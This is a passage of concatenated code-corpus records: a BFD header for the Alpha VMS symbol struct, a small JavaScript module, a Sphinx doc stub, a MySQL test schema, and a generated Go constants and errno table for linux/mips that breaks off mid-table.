    \n \n\n"} +{"text": "/* Alpha VMS external format of Extended Global Symbol Definition.\n\n Copyright (C) 2010-2020 Free Software Foundation, Inc.\n Written by Tristan Gingold , AdaCore.\n\n This file is part of BFD, the Binary File Descriptor library.\n\n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston,\n MA 02110-1301, USA. */\n\n#ifndef _VMS_EGST_H\n#define _VMS_EGST_H\n\nstruct vms_egst\n{\n struct vms_egsy header;\n\n unsigned char value[8];\n unsigned char lp_1[8];\n unsigned char lp_2[8];\n\n unsigned char psindx[4];\n unsigned char namlng;\n unsigned char name[31];\n};\n\n#endif /* _VMS_EGST_H */\n"} +{"text": "var foo = require('./foo.js');\n\nmodule.exports = function (n) { return foo.p(n, 1) };\n"} +{"text": "=====================================================\n ``mode.proxy``\n=====================================================\n\n.. contents::\n :local:\n.. currentmodule:: mode.proxy\n\n.. automodule:: mode.proxy\n :members:\n :undoc-members:\n"} +{"text": "DROP DATABASE IF EXISTS `actsassolr_tests`;\nCREATE DATABASE IF NOT EXISTS `actsassolr_tests`;\nUSE `actsassolr_tests`\n\nCREATE TABLE `books` (\n `id` int(11) NOT NULL auto_increment,\n `category_id` int(11),\n `name` varchar(200) default NULL,\n `author` varchar(200) default NULL,\n PRIMARY KEY (`id`)\n);\n\nCREATE TABLE `movies` (\n `id` int(11) NOT NULL auto_increment,\n `name` varchar(200) default NULL,\n `description` varchar(255) default NULL,\n PRIMARY KEY (`id`)\n);\n\nCREATE TABLE `categories` (\n `id` int(11) NOT NULL auto_increment,\n `name` varchar(200) default NULL,\n PRIMARY KEY (`id`)\n);\n\nCREATE TABLE `electronics` (\n `id` int(11) NOT NULL auto_increment,\n `name` varchar(200) default NULL,\n `manufacturer` varchar(255) default NULL,\n `features` varchar(255) default NULL,\n `category` varchar(255) default NULL, \n `price` varchar(20) default NULL,\n PRIMARY KEY (`id`)\n);\n\nCREATE TABLE `authors` (\n `id` int(11) NOT NULL auto_increment,\n `name` varchar(200) default NULL,\n `biography` text default NULL,\n PRIMARY KEY (`id`)\n);\n"} +{"text": "// mkerrors.sh -Wall -Werror -static -I/tmp/include\n// Code generated by the command above; see README.md. DO NOT EDIT.\n\n// +build mips,linux\n\n// Code generated by cmd/cgo -godefs; DO NOT EDIT.\n// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go\n\npackage unix\n\nimport \"syscall\"\n\nconst (\n\tB1000000 = 0x1008\n\tB115200 = 0x1002\n\tB1152000 = 0x1009\n\tB1500000 = 0x100a\n\tB2000000 = 0x100b\n\tB230400 = 0x1003\n\tB2500000 = 0x100c\n\tB3000000 = 0x100d\n\tB3500000 = 0x100e\n\tB4000000 = 0x100f\n\tB460800 = 0x1004\n\tB500000 = 0x1005\n\tB57600 = 0x1001\n\tB576000 = 0x1006\n\tB921600 = 0x1007\n\tBLKBSZGET = 0x40041270\n\tBLKBSZSET = 0x80041271\n\tBLKFLSBUF = 0x20001261\n\tBLKFRAGET = 0x20001265\n\tBLKFRASET = 0x20001264\n\tBLKGETSIZE = 0x20001260\n\tBLKGETSIZE64 = 0x40041272\n\tBLKPBSZGET = 0x2000127b\n\tBLKRAGET = 0x20001263\n\tBLKRASET = 0x20001262\n\tBLKROGET = 0x2000125e\n\tBLKROSET = 0x2000125d\n\tBLKRRPART = 0x2000125f\n\tBLKSECTGET = 0x20001267\n\tBLKSECTSET = 0x20001266\n\tBLKSSZGET = 0x20001268\n\tBOTHER = 0x1000\n\tBS1 = 0x2000\n\tBSDLY = 0x2000\n\tCBAUD = 0x100f\n\tCBAUDEX = 0x1000\n\tCIBAUD = 0x100f0000\n\tCLOCAL = 0x800\n\tCR1 = 0x200\n\tCR2 = 0x400\n\tCR3 = 0x600\n\tCRDLY = 0x600\n\tCREAD = 0x80\n\tCS6 = 0x10\n\tCS7 = 0x20\n\tCS8 = 0x30\n\tCSIZE = 0x30\n\tCSTOPB = 0x40\n\tECHOCTL = 0x200\n\tECHOE = 0x10\n\tECHOK = 0x20\n\tECHOKE = 0x800\n\tECHONL = 0x40\n\tECHOPRT = 0x400\n\tEFD_CLOEXEC = 0x80000\n\tEFD_NONBLOCK = 0x80\n\tEPOLL_CLOEXEC = 0x80000\n\tEXTPROC = 0x10000\n\tFF1 = 0x8000\n\tFFDLY = 0x8000\n\tFLUSHO = 0x2000\n\tFS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615\n\tFS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614\n\tFS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613\n\tF_GETLK = 0x21\n\tF_GETLK64 = 0x21\n\tF_GETOWN = 0x17\n\tF_RDLCK = 0x0\n\tF_SETLK = 0x22\n\tF_SETLK64 = 0x22\n\tF_SETLKW = 0x23\n\tF_SETLKW64 = 0x23\n\tF_SETOWN = 0x18\n\tF_UNLCK = 0x2\n\tF_WRLCK = 0x1\n\tHUPCL = 0x400\n\tICANON = 0x2\n\tIEXTEN = 0x100\n\tIN_CLOEXEC = 0x80000\n\tIN_NONBLOCK = 0x80\n\tIOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9\n\tISIG = 0x1\n\tIUCLC = 0x200\n\tIXOFF = 0x1000\n\tIXON = 0x400\n\tMAP_ANON = 0x800\n\tMAP_ANONYMOUS = 0x800\n\tMAP_DENYWRITE = 0x2000\n\tMAP_EXECUTABLE = 0x4000\n\tMAP_GROWSDOWN = 0x1000\n\tMAP_HUGETLB = 0x80000\n\tMAP_LOCKED = 0x8000\n\tMAP_NONBLOCK = 0x20000\n\tMAP_NORESERVE = 0x400\n\tMAP_POPULATE = 0x10000\n\tMAP_RENAME = 0x800\n\tMAP_STACK = 0x40000\n\tMCL_CURRENT = 0x1\n\tMCL_FUTURE = 0x2\n\tMCL_ONFAULT = 0x4\n\tNFDBITS = 0x20\n\tNLDLY = 0x100\n\tNOFLSH = 0x80\n\tNS_GET_NSTYPE = 0x2000b703\n\tNS_GET_OWNER_UID = 0x2000b704\n\tNS_GET_PARENT = 0x2000b702\n\tNS_GET_USERNS = 0x2000b701\n\tOLCUC = 0x2\n\tONLCR = 0x4\n\tO_APPEND = 0x8\n\tO_ASYNC = 0x1000\n\tO_CLOEXEC = 0x80000\n\tO_CREAT = 0x100\n\tO_DIRECT = 0x8000\n\tO_DIRECTORY = 0x10000\n\tO_DSYNC = 0x10\n\tO_EXCL = 0x400\n\tO_FSYNC = 0x4010\n\tO_LARGEFILE = 0x2000\n\tO_NDELAY = 0x80\n\tO_NOATIME = 0x40000\n\tO_NOCTTY = 0x800\n\tO_NOFOLLOW = 0x20000\n\tO_NONBLOCK = 0x80\n\tO_PATH = 0x200000\n\tO_RSYNC = 0x4010\n\tO_SYNC = 0x4010\n\tO_TMPFILE = 0x410000\n\tO_TRUNC = 0x200\n\tPARENB = 0x100\n\tPARODD = 0x200\n\tPENDIN = 0x4000\n\tPERF_EVENT_IOC_DISABLE = 0x20002401\n\tPERF_EVENT_IOC_ENABLE = 0x20002400\n\tPERF_EVENT_IOC_ID = 0x40042407\n\tPERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8004240b\n\tPERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409\n\tPERF_EVENT_IOC_PERIOD = 0x80082404\n\tPERF_EVENT_IOC_QUERY_BPF = 0xc004240a\n\tPERF_EVENT_IOC_REFRESH = 0x20002402\n\tPERF_EVENT_IOC_RESET = 0x20002403\n\tPERF_EVENT_IOC_SET_BPF = 0x80042408\n\tPERF_EVENT_IOC_SET_FILTER = 0x80042406\n\tPERF_EVENT_IOC_SET_OUTPUT = 0x20002405\n\tPPPIOCATTACH = 0x8004743d\n\tPPPIOCATTCHAN = 0x80047438\n\tPPPIOCCONNECT = 0x8004743a\n\tPPPIOCDETACH = 0x8004743c\n\tPPPIOCDISCONN = 0x20007439\n\tPPPIOCGASYNCMAP = 0x40047458\n\tPPPIOCGCHAN = 0x40047437\n\tPPPIOCGDEBUG = 0x40047441\n\tPPPIOCGFLAGS = 0x4004745a\n\tPPPIOCGIDLE = 0x4008743f\n\tPPPIOCGIDLE32 = 0x4008743f\n\tPPPIOCGIDLE64 = 0x4010743f\n\tPPPIOCGL2TPSTATS = 0x40487436\n\tPPPIOCGMRU = 0x40047453\n\tPPPIOCGRASYNCMAP = 0x40047455\n\tPPPIOCGUNIT = 0x40047456\n\tPPPIOCGXASYNCMAP = 0x40207450\n\tPPPIOCSACTIVE = 0x80087446\n\tPPPIOCSASYNCMAP = 0x80047457\n\tPPPIOCSCOMPRESS = 0x800c744d\n\tPPPIOCSDEBUG = 0x80047440\n\tPPPIOCSFLAGS = 0x80047459\n\tPPPIOCSMAXCID = 0x80047451\n\tPPPIOCSMRRU = 0x8004743b\n\tPPPIOCSMRU = 0x80047452\n\tPPPIOCSNPMODE = 0x8008744b\n\tPPPIOCSPASS = 0x80087447\n\tPPPIOCSRASYNCMAP = 0x80047454\n\tPPPIOCSXASYNCMAP = 0x8020744f\n\tPPPIOCXFERUNIT = 0x2000744e\n\tPR_SET_PTRACER_ANY = 0xffffffff\n\tPTRACE_GETFPREGS = 0xe\n\tPTRACE_GET_THREAD_AREA = 0x19\n\tPTRACE_GET_THREAD_AREA_3264 = 0xc4\n\tPTRACE_GET_WATCH_REGS = 0xd0\n\tPTRACE_OLDSETOPTIONS = 0x15\n\tPTRACE_PEEKDATA_3264 = 0xc1\n\tPTRACE_PEEKTEXT_3264 = 0xc0\n\tPTRACE_POKEDATA_3264 = 0xc3\n\tPTRACE_POKETEXT_3264 = 0xc2\n\tPTRACE_SETFPREGS = 0xf\n\tPTRACE_SET_THREAD_AREA = 0x1a\n\tPTRACE_SET_WATCH_REGS = 0xd1\n\tRLIMIT_AS = 0x6\n\tRLIMIT_MEMLOCK = 0x9\n\tRLIMIT_NOFILE = 0x5\n\tRLIMIT_NPROC = 0x8\n\tRLIMIT_RSS = 0x7\n\tRNDADDENTROPY = 0x80085203\n\tRNDADDTOENTCNT = 0x80045201\n\tRNDCLEARPOOL = 0x20005206\n\tRNDGETENTCNT = 0x40045200\n\tRNDGETPOOL = 0x40085202\n\tRNDRESEEDCRNG = 0x20005207\n\tRNDZAPENTCNT = 0x20005204\n\tRTC_AIE_OFF = 0x20007002\n\tRTC_AIE_ON = 0x20007001\n\tRTC_ALM_READ = 0x40247008\n\tRTC_ALM_SET = 0x80247007\n\tRTC_EPOCH_READ = 0x4004700d\n\tRTC_EPOCH_SET = 0x8004700e\n\tRTC_IRQP_READ = 0x4004700b\n\tRTC_IRQP_SET = 0x8004700c\n\tRTC_PIE_OFF = 0x20007006\n\tRTC_PIE_ON = 0x20007005\n\tRTC_PLL_GET = 0x401c7011\n\tRTC_PLL_SET = 0x801c7012\n\tRTC_RD_TIME = 0x40247009\n\tRTC_SET_TIME = 0x8024700a\n\tRTC_UIE_OFF = 0x20007004\n\tRTC_UIE_ON = 0x20007003\n\tRTC_VL_CLR = 0x20007014\n\tRTC_VL_READ = 0x40047013\n\tRTC_WIE_OFF = 0x20007010\n\tRTC_WIE_ON = 0x2000700f\n\tRTC_WKALM_RD = 0x40287010\n\tRTC_WKALM_SET = 0x8028700f\n\tSCM_TIMESTAMPING = 0x25\n\tSCM_TIMESTAMPING_OPT_STATS = 0x36\n\tSCM_TIMESTAMPING_PKTINFO = 0x3a\n\tSCM_TIMESTAMPNS = 0x23\n\tSCM_TXTIME = 0x3d\n\tSCM_WIFI_STATUS = 0x29\n\tSFD_CLOEXEC = 0x80000\n\tSFD_NONBLOCK = 0x80\n\tSIOCATMARK = 0x40047307\n\tSIOCGPGRP = 0x40047309\n\tSIOCGSTAMPNS_NEW = 0x40108907\n\tSIOCGSTAMP_NEW = 0x40108906\n\tSIOCINQ = 0x467f\n\tSIOCOUTQ = 0x7472\n\tSIOCSPGRP = 0x80047308\n\tSOCK_CLOEXEC = 0x80000\n\tSOCK_DGRAM = 0x1\n\tSOCK_NONBLOCK = 0x80\n\tSOCK_STREAM = 0x2\n\tSOL_SOCKET = 0xffff\n\tSO_ACCEPTCONN = 0x1009\n\tSO_ATTACH_BPF = 0x32\n\tSO_ATTACH_REUSEPORT_CBPF = 0x33\n\tSO_ATTACH_REUSEPORT_EBPF = 0x34\n\tSO_BINDTODEVICE = 0x19\n\tSO_BINDTOIFINDEX = 0x3e\n\tSO_BPF_EXTENSIONS = 0x30\n\tSO_BROADCAST = 0x20\n\tSO_BSDCOMPAT = 0xe\n\tSO_BUSY_POLL = 0x2e\n\tSO_CNX_ADVICE = 0x35\n\tSO_COOKIE = 0x39\n\tSO_DETACH_REUSEPORT_BPF = 0x44\n\tSO_DOMAIN = 0x1029\n\tSO_DONTROUTE = 0x10\n\tSO_ERROR = 0x1007\n\tSO_INCOMING_CPU = 0x31\n\tSO_INCOMING_NAPI_ID = 0x38\n\tSO_KEEPALIVE = 0x8\n\tSO_LINGER = 0x80\n\tSO_LOCK_FILTER = 0x2c\n\tSO_MARK = 0x24\n\tSO_MAX_PACING_RATE = 0x2f\n\tSO_MEMINFO = 0x37\n\tSO_NOFCS = 0x2b\n\tSO_OOBINLINE = 0x100\n\tSO_PASSCRED = 0x11\n\tSO_PASSSEC = 0x22\n\tSO_PEEK_OFF = 0x2a\n\tSO_PEERCRED = 0x12\n\tSO_PEERGROUPS = 0x3b\n\tSO_PEERSEC = 0x1e\n\tSO_PROTOCOL = 0x1028\n\tSO_RCVBUF = 0x1002\n\tSO_RCVBUFFORCE = 0x21\n\tSO_RCVLOWAT = 0x1004\n\tSO_RCVTIMEO = 0x1006\n\tSO_RCVTIMEO_NEW = 0x42\n\tSO_RCVTIMEO_OLD = 0x1006\n\tSO_REUSEADDR = 0x4\n\tSO_REUSEPORT = 0x200\n\tSO_RXQ_OVFL = 0x28\n\tSO_SECURITY_AUTHENTICATION = 0x16\n\tSO_SECURITY_ENCRYPTION_NETWORK = 0x18\n\tSO_SECURITY_ENCRYPTION_TRANSPORT = 0x17\n\tSO_SELECT_ERR_QUEUE = 0x2d\n\tSO_SNDBUF = 0x1001\n\tSO_SNDBUFFORCE = 0x1f\n\tSO_SNDLOWAT = 0x1003\n\tSO_SNDTIMEO = 0x1005\n\tSO_SNDTIMEO_NEW = 0x43\n\tSO_SNDTIMEO_OLD = 0x1005\n\tSO_STYLE = 0x1008\n\tSO_TIMESTAMPING = 0x25\n\tSO_TIMESTAMPING_NEW = 0x41\n\tSO_TIMESTAMPING_OLD = 0x25\n\tSO_TIMESTAMPNS = 0x23\n\tSO_TIMESTAMPNS_NEW = 0x40\n\tSO_TIMESTAMPNS_OLD = 0x23\n\tSO_TIMESTAMP_NEW = 0x3f\n\tSO_TXTIME = 0x3d\n\tSO_TYPE = 0x1008\n\tSO_WIFI_STATUS = 0x29\n\tSO_ZEROCOPY = 0x3c\n\tTAB1 = 0x800\n\tTAB2 = 0x1000\n\tTAB3 = 0x1800\n\tTABDLY = 0x1800\n\tTCFLSH = 0x5407\n\tTCGETA = 0x5401\n\tTCGETS = 0x540d\n\tTCGETS2 = 0x4030542a\n\tTCSAFLUSH = 0x5410\n\tTCSBRK = 0x5405\n\tTCSBRKP = 0x5486\n\tTCSETA = 0x5402\n\tTCSETAF = 0x5404\n\tTCSETAW = 0x5403\n\tTCSETS = 0x540e\n\tTCSETS2 = 0x8030542b\n\tTCSETSF = 0x5410\n\tTCSETSF2 = 0x8030542d\n\tTCSETSW = 0x540f\n\tTCSETSW2 = 0x8030542c\n\tTCXONC = 0x5406\n\tTIOCCBRK = 0x5428\n\tTIOCCONS = 0x80047478\n\tTIOCEXCL = 0x740d\n\tTIOCGDEV = 0x40045432\n\tTIOCGETD = 0x7400\n\tTIOCGETP = 0x7408\n\tTIOCGEXCL = 0x40045440\n\tTIOCGICOUNT = 0x5492\n\tTIOCGISO7816 = 0x40285442\n\tTIOCGLCKTRMIOS = 0x548b\n\tTIOCGLTC = 0x7474\n\tTIOCGPGRP = 0x40047477\n\tTIOCGPKT = 0x40045438\n\tTIOCGPTLCK = 0x40045439\n\tTIOCGPTN = 0x40045430\n\tTIOCGPTPEER = 0x20005441\n\tTIOCGRS485 = 0x4020542e\n\tTIOCGSERIAL = 0x5484\n\tTIOCGSID = 0x7416\n\tTIOCGSOFTCAR = 0x5481\n\tTIOCGWINSZ = 0x40087468\n\tTIOCINQ = 0x467f\n\tTIOCLINUX = 0x5483\n\tTIOCMBIC = 0x741c\n\tTIOCMBIS = 0x741b\n\tTIOCMGET = 0x741d\n\tTIOCMIWAIT = 0x5491\n\tTIOCMSET = 0x741a\n\tTIOCM_CAR = 0x100\n\tTIOCM_CD = 0x100\n\tTIOCM_CTS = 0x40\n\tTIOCM_DSR = 0x400\n\tTIOCM_RI = 0x200\n\tTIOCM_RNG = 0x200\n\tTIOCM_SR = 0x20\n\tTIOCM_ST = 0x10\n\tTIOCNOTTY = 0x5471\n\tTIOCNXCL = 0x740e\n\tTIOCOUTQ = 0x7472\n\tTIOCPKT = 0x5470\n\tTIOCSBRK = 0x5427\n\tTIOCSCTTY = 0x5480\n\tTIOCSERCONFIG = 0x5488\n\tTIOCSERGETLSR = 0x548e\n\tTIOCSERGETMULTI = 0x548f\n\tTIOCSERGSTRUCT = 0x548d\n\tTIOCSERGWILD = 0x5489\n\tTIOCSERSETMULTI = 0x5490\n\tTIOCSERSWILD = 0x548a\n\tTIOCSER_TEMT = 0x1\n\tTIOCSETD = 0x7401\n\tTIOCSETN = 0x740a\n\tTIOCSETP = 0x7409\n\tTIOCSIG = 0x80045436\n\tTIOCSISO7816 = 0xc0285443\n\tTIOCSLCKTRMIOS = 0x548c\n\tTIOCSLTC = 0x7475\n\tTIOCSPGRP = 0x80047476\n\tTIOCSPTLCK = 0x80045431\n\tTIOCSRS485 = 0xc020542f\n\tTIOCSSERIAL = 0x5485\n\tTIOCSSOFTCAR = 0x5482\n\tTIOCSTI = 0x5472\n\tTIOCSWINSZ = 0x80087467\n\tTIOCVHANGUP = 0x5437\n\tTOSTOP = 0x8000\n\tTUNATTACHFILTER = 0x800854d5\n\tTUNDETACHFILTER = 0x800854d6\n\tTUNGETDEVNETNS = 0x200054e3\n\tTUNGETFEATURES = 0x400454cf\n\tTUNGETFILTER = 0x400854db\n\tTUNGETIFF = 0x400454d2\n\tTUNGETSNDBUF = 0x400454d3\n\tTUNGETVNETBE = 0x400454df\n\tTUNGETVNETHDRSZ = 0x400454d7\n\tTUNGETVNETLE = 0x400454dd\n\tTUNSETCARRIER = 0x800454e2\n\tTUNSETDEBUG = 0x800454c9\n\tTUNSETFILTEREBPF = 0x400454e1\n\tTUNSETGROUP = 0x800454ce\n\tTUNSETIFF = 0x800454ca\n\tTUNSETIFINDEX = 0x800454da\n\tTUNSETLINK = 0x800454cd\n\tTUNSETNOCSUM = 0x800454c8\n\tTUNSETOFFLOAD = 0x800454d0\n\tTUNSETOWNER = 0x800454cc\n\tTUNSETPERSIST = 0x800454cb\n\tTUNSETQUEUE = 0x800454d9\n\tTUNSETSNDBUF = 0x800454d4\n\tTUNSETSTEERINGEBPF = 0x400454e0\n\tTUNSETTXFILTER = 0x800454d1\n\tTUNSETVNETBE = 0x800454de\n\tTUNSETVNETHDRSZ = 0x800454d8\n\tTUNSETVNETLE = 0x800454dc\n\tUBI_IOCATT = 0x80186f40\n\tUBI_IOCDET = 0x80046f41\n\tUBI_IOCEBCH = 0x80044f02\n\tUBI_IOCEBER = 0x80044f01\n\tUBI_IOCEBISMAP = 0x40044f05\n\tUBI_IOCEBMAP = 0x80084f03\n\tUBI_IOCEBUNMAP = 0x80044f04\n\tUBI_IOCMKVOL = 0x80986f00\n\tUBI_IOCRMVOL = 0x80046f01\n\tUBI_IOCRNVOL = 0x91106f03\n\tUBI_IOCRPEB = 0x80046f04\n\tUBI_IOCRSVOL = 0x800c6f02\n\tUBI_IOCSETVOLPROP = 0x80104f06\n\tUBI_IOCSPEB = 0x80046f05\n\tUBI_IOCVOLCRBLK = 0x80804f07\n\tUBI_IOCVOLRMBLK = 0x20004f08\n\tUBI_IOCVOLUP = 0x80084f00\n\tVDISCARD = 0xd\n\tVEOF = 0x10\n\tVEOL = 0x11\n\tVEOL2 = 0x6\n\tVMIN = 0x4\n\tVREPRINT = 0xc\n\tVSTART = 0x8\n\tVSTOP = 0x9\n\tVSUSP = 0xa\n\tVSWTC = 0x7\n\tVSWTCH = 0x7\n\tVT1 = 0x4000\n\tVTDLY = 0x4000\n\tVTIME = 0x5\n\tVWERASE = 0xe\n\tWDIOC_GETBOOTSTATUS = 0x40045702\n\tWDIOC_GETPRETIMEOUT = 0x40045709\n\tWDIOC_GETSTATUS = 0x40045701\n\tWDIOC_GETSUPPORT = 0x40285700\n\tWDIOC_GETTEMP = 0x40045703\n\tWDIOC_GETTIMELEFT = 0x4004570a\n\tWDIOC_GETTIMEOUT = 0x40045707\n\tWDIOC_KEEPALIVE = 0x40045705\n\tWDIOC_SETOPTIONS = 0x40045704\n\tWORDSIZE = 0x20\n\tXCASE = 0x4\n\tXTABS = 0x1800\n)\n\n// Errors\nconst (\n\tEADDRINUSE = syscall.Errno(0x7d)\n\tEADDRNOTAVAIL = syscall.Errno(0x7e)\n\tEADV = syscall.Errno(0x44)\n\tEAFNOSUPPORT = syscall.Errno(0x7c)\n\tEALREADY = syscall.Errno(0x95)\n\tEBADE = syscall.Errno(0x32)\n\tEBADFD = syscall.Errno(0x51)\n\tEBADMSG = syscall.Errno(0x4d)\n\tEBADR = syscall.Errno(0x33)\n\tEBADRQC = syscall.Errno(0x36)\n\tEBADSLT = syscall.Errno(0x37)\n\tEBFONT = syscall.Errno(0x3b)\n\tECANCELED = syscall.Errno(0x9e)\n\tECHRNG = syscall.Errno(0x25)\n\tECOMM = syscall.Errno(0x46)\n\tECONNABORTED = syscall.Errno(0x82)\n\tECONNREFUSED = syscall.Errno(0x92)\n\tECONNRESET = syscall.Errno(0x83)\n\tEDEADLK = syscall.Errno(0x2d)\n\tEDEADLOCK = syscall.Errno(0x38)\n\tEDESTADDRREQ = syscall.Errno(0x60)\n\tEDOTDOT = syscall.Errno(0x49)\n\tEDQUOT = syscall.Errno(0x46d)\n\tEHOSTDOWN = syscall.Errno(0x93)\n\tEHOSTUNREACH = syscall.Errno(0x94)\n\tEHWPOISON = syscall.Errno(0xa8)\n\tEIDRM = syscall.Errno(0x24)\n\tEILSEQ = syscall.Errno(0x58)\n\tEINIT = syscall.Errno(0x8d)\n\tEINPROGRESS = syscall.Errno(0x96)\n\tEISCONN = syscall.Errno(0x85)\n\tEISNAM = syscall.Errno(0x8b)\n\tEKEYEXPIRED = syscall.Errno(0xa2)\n\tEKEYREJECTED = syscall.Errno(0xa4)\n\tEKEYREVOKED = syscall.Errno(0xa3)\n\tEL2HLT = syscall.Errno(0x2c)\n\tEL2NSYNC = syscall.Errno(0x26)\n\tEL3HLT = syscall.Errno(0x27)\n\tEL3RST = syscall.Errno(0x28)\n\tELIBACC = syscall.Errno(0x53)\n\tELIBBAD = syscall.Errno(0x54)\n\tELIBEXEC = syscall.Errno(0x57)\n\tELIBMAX = syscall.Errno(0x56)\n\tELIBSCN = syscall.Errno(0x55)\n\tELNRNG = syscall.Errno(0x29)\n\tELOOP = syscall.Errno(0x5a)\n\tEMEDIUMTYPE = syscall.Errno(0xa0)\n\tEMSGSIZE = syscall.Errno(0x61)\n\tEMULTIHOP = syscall.Errno(0x4a)\n\tENAMETOOLONG = syscall.Errno(0x4e)\n\tENAVAIL = syscall.Errno(0x8a)\n\tENETDOWN = syscall.Errno(0x7f)\n\tENETRESET = syscall.Errno(0x81)\n\tENETUNREACH = syscall.Errno(0x80)\n\tENOANO = syscall.Errno(0x35)\n\tENOBUFS = syscall.Errno(0x84)\n\tENOCSI = syscall.Errno(0x2b)\n\tENODATA = syscall.Errno(0x3d)\n\tENOKEY = syscall.Errno(0xa1)\n\tENOLCK = syscall.Errno(0x2e)\n\tENOLINK = syscall.Errno(0x43)\n\tENOMEDIUM = syscall.Errno(0x9f)\n\tENOMSG = syscall.Errno(0x23)\n\tENONET = syscall.Errno(0x40)\n\tENOPKG = syscall.Errno(0x41)\n\tENOPROTOOPT = syscall.Errno(0x63)\n\tENOSR = syscall.Errno(0x3f)\n\tENOSTR = syscall.Errno(0x3c)\n\tENOSYS = syscall.Errno(0x59)\n\tENOTCONN = syscall.Errno(0x86)\n\tENOTEMPTY = syscall.Errno(0x5d)\n\tENOTNAM = syscall.Errno(0x89)\n\tENOTRECOVERABLE = syscall.Errno(0xa6)\n\tENOTSOCK = syscall.Errno(0x5f)\n\tENOTSUP = syscall.Errno(0x7a)\n\tENOTUNIQ = syscall.Errno(0x50)\n\tEOPNOTSUPP = syscall.Errno(0x7a)\n\tEOVERFLOW = syscall.Errno(0x4f)\n\tEOWNERDEAD = syscall.Errno(0xa5)\n\tEPFNOSUPPORT = syscall.Errno(0x7b)\n\tEPROTO = syscall.Errno(0x47)\n\tEPROTONOSUPPORT = syscall.Errno(0x78)\n\tEPROTOTYPE = syscall.Errno(0x62)\n\tEREMCHG = syscall.Errno(0x52)\n\tEREMDEV = syscall.Errno(0x8e)\n\tEREMOTE = syscall.Errno(0x42)\n\tEREMOTEIO = syscall.Errno(0x8c)\n\tERESTART = syscall.Errno(0x5b)\n\tERFKILL = syscall.Errno(0xa7)\n\tESHUTDOWN = syscall.Errno(0x8f)\n\tESOCKTNOSUPPORT = syscall.Errno(0x79)\n\tESRMNT = syscall.Errno(0x45)\n\tESTALE = syscall.Errno(0x97)\n\tESTRPIPE = syscall.Errno(0x5c)\n\tETIME = syscall.Errno(0x3e)\n\tETIMEDOUT = syscall.Errno(0x91)\n\tETOOMANYREFS = syscall.Errno(0x90)\n\tEUCLEAN = syscall.Errno(0x87)\n\tEUNATCH = syscall.Errno(0x2a)\n\tEUSERS = syscall.Errno(0x5e)\n\tEXFULL = syscall.Errno(0x34)\n)\n\n// Signals\nconst (\n\tSIGBUS = syscall.Signal(0xa)\n\tSIGCHLD = syscall.Signal(0x12)\n\tSIGCLD = syscall.Signal(0x12)\n\tSIGCONT = syscall.Signal(0x19)\n\tSIGEMT = syscall.Signal(0x7)\n\tSIGIO = syscall.Signal(0x16)\n\tSIGPOLL = syscall.Signal(0x16)\n\tSIGPROF = syscall.Signal(0x1d)\n\tSIGPWR = syscall.Signal(0x13)\n\tSIGSTOP = syscall.Signal(0x17)\n\tSIGSYS = syscall.Signal(0xc)\n\tSIGTSTP = syscall.Signal(0x18)\n\tSIGTTIN = syscall.Signal(0x1a)\n\tSIGTTOU = syscall.Signal(0x1b)\n\tSIGURG = syscall.Signal(0x15)\n\tSIGUSR1 = syscall.Signal(0x10)\n\tSIGUSR2 = syscall.Signal(0x11)\n\tSIGVTALRM = syscall.Signal(0x1c)\n\tSIGWINCH = syscall.Signal(0x14)\n\tSIGXCPU = syscall.Signal(0x1e)\n\tSIGXFSZ = syscall.Signal(0x1f)\n)\n\n// Error table\nvar errorList = [...]struct {\n\tnum syscall.Errno\n\tname string\n\tdesc string\n}{\n\t{1, \"EPERM\", \"operation not permitted\"},\n\t{2, \"ENOENT\", \"no such file or directory\"},\n\t{3, \"ESRCH\", \"no such process\"},\n\t{4, \"EINTR\", \"interrupted system call\"},\n\t{5, \"EIO\", \"input/output error\"},\n\t{6, \"ENXIO\", \"no such device or address\"},\n\t{7, \"E2BIG\", \"argument list too long\"},\n\t{8, \"ENOEXEC\", \"exec format error\"},\n\t{9, \"EBADF\", \"bad file descriptor\"},\n\t{10, \"ECHILD\", \"no child processes\"},\n\t{11, \"EAGAIN\", \"resource temporarily unavailable\"},\n\t{12, \"ENOMEM\", \"cannot allocate memory\"},\n\t{13, \"EACCES\", \"permission denied\"},\n\t{14, \"EFAULT\", \"bad address\"},\n\t{15, \"ENOTBLK\", \"block device required\"},\n\t{16, \"EBUSY\", \"device or resource busy\"},\n\t{17, \"EEXIST\", \"file exists\"},\n\t{18, \"EXDEV\", \"invalid cross-device link\"},\n\t{19, \"ENODEV\", \"no such device\"},\n\t{20, \"ENOTDIR\", \"not a directory\"},\n\t{21, \"EISDIR\", \"is a directory\"},\n\t{22, \"EINVAL\", \"invalid argument\"},\n\t{23, \"ENFILE\", \"too many open files in system\"},\n\t{24, \"EMFILE\", \"too many open files\"},\n\t{25, \"ENOTTY\", \"inappropriate ioctl for device\"},\n\t{26, \"ETXTBSY\", \"text file busy\"},\n\t{27, \"EFBIG\", \"file too large\"},\n\t{28, \"ENOSPC\", \"no space left on device\"},\n\t{29, \"ESPIPE\", \"illegal seek\"},\n\t{30, \"EROFS\", \"read-only file system\"},\n\t{31, \"EMLINK\", \"too many links\"},\n\t{32, \"EPIPE\", \"broken pipe\"},\n\t{33, \"EDOM\", \"numerical argument out of domain\"},\n\t{34, \"ERANGE\", \"numerical result out of range\"},\n\t{35, \"ENOMSG\", \"no message of desired type\"},\n\t{36, \"EIDRM\", \"identifier removed\"},\n\t{37, \"ECHRNG\", \"channel number out of range\"},\n\t{38, \"EL2NSYNC\", \"level 2 not synchronized\"},\n\t{39, \"EL3HLT\", \"level 3 halted\"},\n\t{40, \"EL3RST\", \"level 3 reset\"},\n\t{41, \"ELNRNG\", \"link number out of range\"},\n\t{42, \"EUNATCH\", \"protocol driver not attached\"},\n\t{43, \"ENOCSI\", \"no CSI structure available\"},\n\t{44, \"EL2HLT\", \"level 2 